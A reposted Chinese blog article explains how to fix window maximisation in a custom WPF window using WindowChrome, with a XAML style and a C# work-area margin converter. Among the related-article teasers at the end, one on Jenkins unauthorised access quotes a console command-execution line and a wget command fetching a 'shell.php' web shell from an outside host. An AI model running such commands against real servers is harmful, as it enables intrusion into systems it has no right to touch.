WPF中使用WindowChrome自定义窗口中遇到的最大化问题

摘要:
上述页面、解释和示例也是旧版本。如果新版本和我一样是4.6.2,那么您可以继续查看新用法。与文档中的旧方法相比,新用法确实更简单、更有效。问题:Shell:SystemParameters2。新版本中当前未知。回答:xmlns:shell=“clr-namespace:System.Windows.shell;assembly=PresentationFramework”shell:SystemParameters2已删除。类似的操作可以在shell:SystemParameters中找到。

FrameWork 4.5 之后,内置了WindowChrome类,官方文档:

https://msdn.microsoft.com/en-us/library/system.windows.shell.windowchrome.aspx

如果你是旧版本,可以去搜索单独的dll。

上方的页面,解释和例子也都是旧版本的,如果新版本,比如和我一样,是4.6.2,可以继续往下看新的用法,相比文档中的旧方式,新的用法的确更简单有效了。

问题:shell:SystemParameters2.Current在新的版本中不知道在哪里找。

回答:

xmlns:shell="clr-namespace:System.Windows.Shell;assembly=PresentationFramework"

shell:SystemParameters2 已经移除,相关的类似操作,可以在shell:SystemParameters中找到。

以下是Window的样式:无标题栏,无图标,无功能按钮,当然也没拖动。

 1   <Style x:Key="ShellNoneStyleWindow"
 2          TargetType="Window">
 3     <Setter Property="AllowsTransparency" Value="True" />
 4     <Setter Property="WindowStyle" Value="None" />
 5     <Setter Property="Background" Value="Transparent" />
 6     <Setter Property="ResizeMode" Value="NoResize" />
 7     <Setter Property="TextOptions.TextFormattingMode" Value="Display" />
 8     <Setter Property="shell:WindowChrome.WindowChrome">
 9       <Setter.Value>
10         <shell:WindowChrome CaptionHeight="0"
11                             GlassFrameThickness="0"
12                             NonClientFrameEdges="None"
13                             ResizeBorderThickness="0"
14                             UseAeroCaptionButtons="False" />
15       </Setter.Value>
16     </Setter>
17     <Setter Property="Template">
18       <Setter.Value>
19         <ControlTemplate TargetType="Window">
20           <AdornerDecorator Grid.Row="1"
21                             KeyboardNavigation.IsTabStop="False">
22             <Border x:Name="Content_Panel">
23               <ContentPresenter x:Name="MainContentPresenter"
24                                 KeyboardNavigation.TabNavigation="Cycle" />
25             </Border>
26           </AdornerDecorator>
27           <ControlTemplate.Triggers>
28             <Trigger Property="WindowState" Value="Maximized">
29               <Setter TargetName="Content_Panel" Property="Margin">
30                 <Setter.Value>
31                   <Binding>
32                     <Binding.Converter>
33                       <cvt:SystemWorkAreaToMarginConverter />
34                     </Binding.Converter>
35                   </Binding>
36                 </Setter.Value>
37               </Setter>
38             </Trigger>
39           </ControlTemplate.Triggers>
40         </ControlTemplate>
41       </Setter.Value>
42     </Setter>
43   </Style>

 以下是关键的 cvt:SystemWorkAreaToMarginConverter

 1   /// <summary>
 2   /// 读取系统主显示器,和窗体可用工作区,获得WPF可用的外边距。
 3   /// </summary>
 4   public class SystemWorkAreaToMarginConverter : IValueConverter
 5   {
 6     public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
 7     {
 8       return new Thickness(
 9           SystemParameters.WorkArea.Left
10         , SystemParameters.WorkArea.Top
11         , SystemParameters.PrimaryScreenWidth - SystemParameters.WorkArea.Width
12         , SystemParameters.PrimaryScreenHeight - SystemParameters.WorkArea.Height
13         );
14     }
15 
16     public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
17     {
18       throw new NotImplementedException();
19     }
20   }

思路就是整个屏幕裁掉任务栏部分,可供“最大化窗体”使用的部分了,所得到的外边距便是任务栏的那部分区域。

免责声明:文章转载自《WPF中使用WindowChrome自定义窗口中遇到的最大化问题》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇装配Beanphp---laravel5框架的使用下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

wpf数据绑定更新通知

类似于这样子的;大致的意思是:一个代码变量,通过改变变量的值,绑定这个变量的这个圆颜色也在变化 就是一种心跳效果 在网上数据触发的感觉不多,废了不少时间,这里做个总结 1:通知 class NotifyBase : INotifyPropertyChanged { public event PropertyChangedEve...

WPF读写config配置文件

WPF读写config配置文件单。 1. 在你的工程中,添加app.config文件。文件的内容默认为: 1 <?xml version="1.0" encoding="utf-8" ?> 2 <configuration> 3 </configuration> 2.如果你想给程序配置一些参数,就在<c...

使用Dockerfile制作镜像

组成部分 基础镜像信息 FROM 维护者信息 MAINTAINER、LABEL 镜像操作指令 RUN、COPY、ADD、EXPOSE、WORKDIR、ONBUILD、USER等 容器启动时执行指令 CMD、ENTRYPOINT 1、MAINTAINER (docker1.7以后的版本已被LABEL替代,但仍兼容此字段) 格式: MAINTAINER &...

jenkins未授权访问/弱口令漏洞

昨天晚上面试官问到了,还没来得及看,今天又问到了,猝不及防,蓝瘦,香菇、、、 今天特此总结一下,给自己一个交代。 总述:进入后台可进行如下操作: 直接执行系统命令: println "cmd".execute().text wget下载文件getshell: println "wget http://xxxx/tools/shell.php -P /t...

初识shell编程

一、shell编程基础 什么是shell 命令解释器:你输入的命令,谁来给你运行、解释 Centos默认的Shell是bash [root@luffy-001 log]# echo $SHELL SHELL变量 /bin/bash [root@luffy-001 log]# cat /etc/shells 所有的命令解释器 /bin/sh /bi...

WPF系列学习

1:WPF最小化到系统托盘 2:WPF程序单例运行 3:WPF中三种异常捕获:UI线程异常、非UI线程异常、Task线程异常 在窗体放一个按钮在单击事件执行如下代码来模拟。 private void Button_Click(objectsender, RoutedEventArgs e) { //t...